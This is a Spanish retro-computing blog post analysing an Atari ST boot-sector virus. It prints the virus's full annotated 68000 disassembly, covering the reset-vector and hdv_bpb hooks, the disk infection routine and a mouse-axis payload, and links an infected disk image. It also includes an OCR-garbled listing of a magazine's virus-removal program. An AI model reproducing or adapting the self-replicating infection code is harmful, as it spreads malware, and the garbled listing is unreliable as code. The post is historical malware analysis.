jueves, 30 de diciembre de 2021

ATARI ST Bootsector Virus


Los primeros virus de boot sector aparecieron a mediados y fines de los 80 en lo que por aquel entonces eran las primeras computadoras que podían utilizar un disquete para arrancar el OS, como Atari ST, Commodore Amiga, IBM XT, etc.

Recuerdo cuando en mi commodore Amiga apareció el mensaje del payload de infección del SCA Virus. 



A partir de allí, empezó mi inquietud sobre estos temas, al principio era tratar de analizarlos dinamicamente y con un editor de discos ver en hexadecimal que mensajes intentaban mostrar. Fue con la llegada de le los BBS en la que pude encontrar mas información, como el código fuente en assembler o los binarios, pero esa ya es otra historia.

Lo que intentaban estos primeros virus era reproducirse en todos los discos que se inserten en la computadora, tal vez mostrar un mensaje cada tanto, algunos, pero no todos, incorporaban un payload para borrar información en los discos a partir de una determinada fecha u hora, como es caso de Michelangelo en PC


Hace un tiempo compre una atari st y entre los discos que me pude descargar, encontré uno infectado, por lo que surgió la idea de analizarlo como me hubiese gustado en esa época. 

 Este analisis está realizado mediante un mix de emulador STEEM y la maquina real.


Utilizando el Virus Killer 2000 podemos verificar que el disquete tiene virus y por otro lado podemos hacer un volcado del sector a un archivo, entre otras cosas.


Podemos observar con este programa, que variables del sistema se hookea este virus, en este caso se cuelga del RESVECTOR que es el vector de RESET para "sobrevivir" a un reinicio en caliente, también se cuelga del vector Hdv_BPB para monitorizar el estado de la unidad de discos con el fin de activar la rutina de infección.



Aquí un sistema limpio.


Bootsector visto con un editor de discos.




El código ejecutable en el BOOT sector inicia desde 1E






Dumping del bootsector en maquina real utilizando VirusKiller 2000 y  Templemon.


Lo mismo se puede hacer con la maquina ya infectada y el programa EasyReader accediendo a la posición de memoria $140.

Este virus, se instala en la dirección de memoria $0140 y se mantiene residente, intenta infectar el bootsector de cualquier disco insertado en la unidad A utilizando  hdv_bpb, y luego de las 5 infecciones seguidas, se activa el payload que consiste en invertir los ejes x/y del mouse.

Analisis del dump del virus. 

!,000140 MOVE.L  #$000000D6,D3      263C 0000 00D6      Marca de infección del virus.
!,000146 LEA     $0140,A1           43F8 0140           LEA de memoria RAM $140 en A1  
!,00014A LEA     $000140(PC),A2     45FA FFF4           LEA de memoria RAM donde inicio el boot $000140 en A2; este caso son iguales porque al dumpear la maquina ya estaba infectada.
!,00014E MOVE.L  (A2),D2            2412                
!,000150 CMP.L   (A1),D2            B491                Verifica marca de infeccion (263C 0000 00D6) 
!,000152 BEQ     $00018E            6700 003A           si no esta, continua rutina para instalarse.
!,000156 MOVE.L  #$31415926,D0      203C 3141 5926      Vector resvalid #$31415926 para saltar a través de resvector / Se realiza una verificación para ver si la memoria se ha dimensionado previamente (inicio en caliente).
!,00015C CLR.L   D1                 4281                
!,00015E CMP.L   $0426,D0           B0B8 0426           Verifica si hubo un warmstart, si no fué un reset salta a 00016A
!,000162 BNE     $00016A            6600 0006           
!,000166 MOVE.L  $042A,D1           2238 042A           Vector resvector $42A - Se carga vector de reset (warmstart) en D1           
!,00016A LEA     $000190(PC),A0     41FA 0024           Se apunta Inicio de rutina de infección, se inicio del disco A: normalmente (NO Warmstart) 
!,00016E MOVE.L  D1,(A0)            2081                Mueve $042A a (A0)
!,000170 MOVE.L  #$00000194,D2      243C 0000 0194      $00000194 inicio rutina de instalacion del virus         
!,000176 MOVE.L  D2,$042A           21C2 042A           Hook del RESVECTOR (Si hay un reinicio del sistema el vector de reinicio ejecuta desde $00000194) 
!,00017A MOVE.L  D0,$0426           21C0 0426           RESVALID -Reset pero cargando rutina de instalación del virus en resvector (persistencia en memoria)
/-------------COPIA VIRUS A MEMORIA------------------------------------------------------/
!,00017E MOVE.W  (A2)+,(A1)+        32DA               Copia el virus en memoria desde $xxxxx(PC),A2  a Memoria Address $0140
!,000180 DBF     D3,$00017E         51CB FFFC           Hasta $D2 (211)
/---------------------------------------------------------------------------------------/
!,000184 MOVE.L  #$FFFFFFFB,$02EA   21FC FFFF FFFB 02EA 
!,00018C BSR     $0001F2            6164                JMP 0001F2
!,00018E RTS                        4E75         Return from suboutine
/----------------------------------------------------------------------------------------/
!,000190 ORI.B   #$00,D0            0000 0000           
/RESVECTOR ARRANCA AQUI-RUTINA DE INSTALACION EN MEMORIA-------------------------------------/
!,000194 MOVE.L  $042E,A1           2278 042E           phystop $80000 Este es el final de la memoria física RAM; $ 80000 por una máquina de 512K.         
!,000198 SUBA.L  #$00008000,A1      93FC 0000 8000        $00008000
!,00019E SUBA.L  #$00000200,A1      93FC 0000 0200      Reserva 200b para el virus.
!,0001A4 MOVE.L  A1,D1              2209                 
!,0001A6 MOVE.L  #$12123456,(A1)+   22FC 1212 3456      
!,0001AC MOVE.L  D1,(A1)+           22C1                
!,0001AE LEA     $0001F2(PC),A3     47FA 0042           
!,0001B2 LEA     $00020E(PC),A4     49FA 005A           
!,0001B6 MOVE.W  (A3)+,(A1)+        32DB                
!,0001B8 CMPA.L  A4,A3              B7CC                   
!,0001BA BLT     $0001B6            6DFA                 JUMP if A3 < A3      
!,0001BC LEA     $000140(PC),A3     47FA FF82            Carga Inicio del virus.                
!,0001C0 MOVE.L  A3,(A1)+           22CB                
!,0001C2 MOVE.L  D1,A3              2641                
!,0001C4 CLR.W   D0                 4240                
!,0001C6 MOVE.W  #$00FE,D2          343C 00FE            Contador en $FE
!,0001CA ADD.W   (A3)+,D0           D05B                 Checksum 255W decremento usando ADD valor queda en D0   -> Source Address(A3)/ Destination D0
!,0001CC DBF     D2,$0001CA         51CA FFFC           
!,0001D0 MOVE.W  #$5678,D2          343C 5678           
!,0001D4 SUB.W   D0,D2              9440                
!,0001D6 MOVE.W  D2,(A3)            3682                
!,0001D8 MOVE.L  #$00000000,$0426   21FC 0000 0000 0426  Carga del vector de Reset $0426
!,0001E0 MOVE.L  $000190(PC),A1     227A FFAE                
!,0001E4 CMPA.L  #$00000000,A1      B3FC 0000 0000         
!,0001EA BNE     $0001F0            6600 0004               
!,0001EE JMP     (A6)               4ED6                
!,0001F0 JMP     (A1)               4ED1      
/-------------------------------------------------------------------------------------------/
!,0001F2 MOVE.L  #$31415926,$0426   21FC 3141 5926 0426   $426 resvalid Si el valor dado se encuentra aquí, se realiza un salto en un reinicio a via reset vector en la dirección $ 42A.
!,0001FA MOVE.L  $0472,D0           2038 0472             Hdv_bpb Determina y devuelve el parameter block, que contiene especificaciones sobre el disquete o disco duro. 
!,0001FE LEA     $02E2,A0           41F8 02E2           
!,000202 MOVE.L  D0,(A0)            2080                
!,000204 LEA     $020E,A0           41F8 020E           
!,000208 MOVE.L  A0,$0472           21C8 0472            Hdv_bpb hook en $020E         
!,00020C RTS                        4E75      
/-------------------------------------------------------------------------------------------/
!,00020E MOVE.W  $0004(A7),D0       302F 0004    <--------------Hdv_bpb   cada cambio de disco    
!,000212 CMP.W   #$0002,D0          B07C 0002           
!,000216 BGE     $0002E0            6C00 00C8  
/------------LEE BOOT SECTOR Funcion Bios FLOPDR -----------------------------------------------/
!,00021A MOVEM.L D1-D5/D7-A7,-(A7)  48E7 7DFF           
!,00021E MOVE.W  D0,D7              3E00                
!,000220 MOVE.L  #$00000001,-(A7)   2F3C 0000 0001      Count 1 - Side 0    - 0001 0000  
!,000226 MOVE.L  #$00010000,-(A7)   2F3C 0001 0000      Track 0 - Sector 1  - 0000 0001 
!,00022C MOVE.W  D7,-(A7)           3F07                Device 0 - Disco A 
!,00022E CLR.L   -(A7)              42A7                
!,000230 LEA     $04C6,A5           4BF8 04C6           
!,000234 MOVE.L  (A5),A5            2A55                
!,000236 MOVE.L  A5,A6              2C4D                
!,000238 MOVE.L  A5,-(A7)           2F0D                
!,00023A MOVE.W  #$0008,-(A7)       3F3C 0008           
!,00023E TRAP    #14                4E4E                 floprd read diskette
!,000240 ADDA.L  #$00000014,A7      DFFC 0000 0014      
!,000246 TST.W   D0                 4A40                
!,000248 BMI     $0002DC            6B00 0092           
!,00024C MOVE.W  #$601C,(A5)        3ABC 601C           
!,000250 ADDA.L  #$0000001E,A5      DBFC 0000 001E      
!,000256 LEA     $000140(PC),A4     49FA FEE8           
!,00025A LEA     $0002F0(PC),A3     47FA 0094           
!,00025E MOVE.W  (A4)+,(A5)+        3ADC                
!,000260 CMPA.L  A3,A4              B9CB                
!,000262 BLT     $00025E            6DFA                
!,000264 MOVE.L  A6,A5              2A4E                
!,000266 MOVE.W  #$00FE,D1          323C 00FE           
!,00026A MOVE.W  #$1234,D0          303C 1234          Verifica el cheksum del bootsector 1234
!,00026E SUB.W   (A5)+,D0           905D                
!,000270 DBF     D1,$00026E         51C9 FFFC               |
!,000274 MOVE.W  D0,(A5)            3A80       
/------- INFECTA DISCO Funcion Bios FLOPWR ----------------------------------------------------/
!,000276 MOVE.L  #$00000001,-(A7)   2F3C 0000 0001     Count 1 - Side 0    - 0001 0000 
!,00027C MOVE.L  #$00010000,-(A7)   2F3C 0001 0000     Track 0 - Sector 1  - 0000 0001 
!,000282 MOVE.W  D7,-(A7)           3F07               Device 0 - Disco A             
!,000284 CLR.L   -(A7)              42A7                
!,000286 MOVE.L  A6,-(A7)           2F0E               Buffer
!,000288 MOVE.W  #$0009,-(A7)       3F3C 0009          Setea parametro para llamar a XBIOS flopwr write diskette sector
!,00028C TRAP    #14                4E4E               Llama al XBIOS 
!,00028E ADDA.L  #$00000014,A7      DFFC 0000 0014   
/------------------------------------------------------------------------------------/
!,000294 TST.W   D0                 4A40                 Testea si infecto un nuevo disco
!,000296 BMI     $0002DC            6B00 0044            Fin de Booteo
!,00029A ADDI.L  #$00000001,$02EA   06B8 0000 0001 02EA  ADD 1 to $02EA (contador de infecciones)
!,0002A2 CMPI.L  #$00000005,$02EA   0CB8 0000 0005 02EA  CMP $02EA con 5 (cuando el contador en memoria llega a 5 infecciones se ejecuta el Payload )
!,0002AA BNE     $0002DC            6600 0030            BRANCH sin no alcanzo las 5 infeciones y termina booteo normal
!,0002AE CLR.L   $02EA              42B8 02EA            Limpia el contador de infecciones
/---- PAYLOAD - INTERCAMBIA EJES X/Y DEL MOUSE ------------------------------------------------/
!,0002B2 MOVE.W  #$0022,-(A7)       3F3C 0022            Setea parámetro para llamar kbdvbase del XBIOS
!,0002B6 TRAP    #14                4E4E                 Llama a la función XBIOS kbdvbase - retorna address vector table en D0 del keyboard (el mismo chip del keyboard maneja joy y mouse)
!,0002B8 ADDQ.L  #2,A7              548F                   Arregla pila
!,0002BA ADD.L   #$00000010,D0      D0BC 0000 0010        add $00000010 para obtener la direccion del puntero del mouse que esta en A1E de la tabla
!,0002C0 EXG     D0,A0              C188                    
/-----INITMOUS XBIOS para inicializar el mouse ------------------------------------------------/
!,0002C2 MOVE.L  (A0),-(A7)         2F10                 Mueve dirección a Pila obtenida en kdnvbase carga la pila con valor 0
!,0002C4 PEA     $0002E6(PC)        487A 0020            carga la pila con valor 0
!,0002C8 MOVE.L  #$00000001,-(A7)   2F3C 0000 0001       Setea parámetro para habilitar en mouse en modo relativo (si pongo un 0 lo deshabilita)
!,0002CE TRAP    #14                4E4E                 Llama al XBIOS
!,0002D0 ADDA.L  #$0000000C,A7      DFFC 0000 000C      
!,0002D6 EORI.B  #$01,$02E6         0A38 0001 02E6      
!,0002DC MOVEM.L (A7)+,D1-A6        4CDF 7FFE           
!,0002E0 JMP     $E05210            4EF9 00E0 5210      





Bibliografia utilizada
Atari ST Machine Language
Atari ST Internals
The ST Assembly Language Workshop
UVK BOOK Único sitio con  mucha información sobre virus de Atari ST. Imperdible!
MonST         Debugger 68000

Emulador STEEM SSE https://sourceforge.net/projects/steemsse/

ARCHIVOS --- :-)

Gostvirus.7z - Imagen de disco infectada con el BootSector virus.
DevPAC.st   - Utilidades de Assembler
EasyReader - Disassembler
TempleMon  -  Memory Monitor/Dump
FastBasic    - F.Basic Assembler
Antidote.prg - Programa en F. Basic Assembler para eliminar BootSector Virus, muy interesante. Ver anexo.

anexo.

Código Fuente en Fast Basic Assembler de un eliminador de bootsector virus.

Revista Atari-St-Usser vol 3 issue 10 pag 53 a 59

40 \ Fast Basic assembler
50 RESERVE ODE,10000
60 F%=0PEN0UT "ANTIDOTE.PRG"
70 PROCASSEMBLE:CLOSE#F%:STOP
80 HIDEMOUS :BEGINUPDATE
90 CALL KILL
100 ENDUPDAT :PROCREGISTERS
110 END
120 DEF PROCASSEMBLE
130 FOR PASS =1 TO 2
140 PC=C0DE
150 [
 OPT PASS,"l +D+H+W+",F%
KILL LEA TITLE(PC),A0
 BSR MESSAGE
TEST LEA PROMPTCPC) ,A0
 BSR MESSAGE
 LEA HITMESS(PC),A0
 BSR MESSAGE
 BSR ENTER
 BSR RDBOOT /Uan't read boot
 TST D0
 BMI FAIL
 MOVE.L #BOOT,A0      \Apunta al Buffer del Boot
 MOVE.W #255,D0       \FF
 MOVE.L #0,D1
SUM ADD.W (A0)+,D1   \Test for
 DBRA D0,SUM   \a virus
 CMP.W #$1234,D1
 BNE OK
BAD LEA VIRUS(PC),A0
    BSR MESSAGE
    LEA KILLHESS(PC),A0
    BSR MESSAGE
 YES BSR ENTER
    CMP.B #"Y",D0
    BEQ DIE
    CHP.B #"y",D0
    BNE LOOP
    DIE MOVE.L #BOOT,A0 \Kill v
    ADD.L #40,A0
    MOVE.W #235,D0
    WIPE MOVE.W #0,(A0)+
    DBRA D0,WIPE
    BSR WRBOOT
    TST D0
    BHI FAIL
    OK LEA CLEAN(PC),A0
    BSR MESSAGE
    LOOP LEA AGAIN(PC),A0
    BSR MESSAGE
    BSR ENTER
    CMP.B #"Y',D0
    BEQ TEST
    CMP.B #"y",D0
    BE8 TEST
    LEA BYE(PC),A0
    BSR MESSAGE
    CLR.W -(A7)
    TRAP #1
    RTS
FAIL LEA ERMESS(PC),A0 \Error
    BSR MESSAGE
    BRA LOOP
RDBOOT
    MOVE.W #1,-(A7) \Count
    MOVE.W #0,-(A7) \Side
    MOVE.W #0,-(A7) \Track
    MOVE.W #1,-(A7) \Sect start
    MOVE.W #0,-(A7) \Drive A
    CLR.L -(A7)
    MOVE.L #BOOT,-(A7)
    MOVE.W #8,-(A7)
    TRAP #14
    ADD.L #20,A7
    RTS
WRBOOT
    MOVE.W #1,-(A7) \Count
    MOVE.W #0,-(A7) \Side
    MOVE.W #0,-(A7) \Track
    MOVE.W #1,-(A7) \Sect start
    MOVE.W #0,-(A7) \Drive A
    CLR.L -(A7)
    MOVE.L #BOOT,-(A7)
    MOVE.W #9,-(A7)
    TRAP #14
    ADD.L #20,A7
    RTS
MESSAGE
    MOVE.L A0,-(A7)
    MOVE.W #9,-(A7)
    TRAP #1
    ADD8.L #6,SP
    RTS
    ENTER
    CLR.W, D0
    MOVE.W #7,-(A7)
    TRAP #1
    ADDQ.L #2,A7
    RTS
    TITLE DC.B 27,"E","VIRUS KILLER"
    DC.B 13,10,0
    EVEN
    PROMPT DC.B "PUT A DISC TO BE"
    DC.B " TESTED INTO DRF
    DC.B "VE A",13,10,0
    EVEN
    HITMESS DC.B "HIT A KEY TO CO"
    DC.B "NTINUE",13,10,0
    EVEN
    VIRUS DC.B "BOOT PROGRAM DET"
    DC.B "ECTED',13,10,0
    EVEN
    KILLMESS DC.B "REMOVE [Y/N]"
    DC.B 13,10,0
    EVEN
    AGAIN DC.B "ANOTHER DISC ill
    DC.B "NT, 13,10,0
    EVEN
    ERMESS DC.B "DISC ERROR"
    DC.B 13,10,0
    EVEN
    BYE DC.B "GOODBYE",13,10,0
    EVEN
    CLEAN DC.B "DISC SAFE",13,10,0
    EVEN
    BOOT DS.B 512
    ]
1350 NEXT PASS
1360 ENDPROC

 Hola, me mudé a medium .... nos vemos!!! FELIZ 2022!!!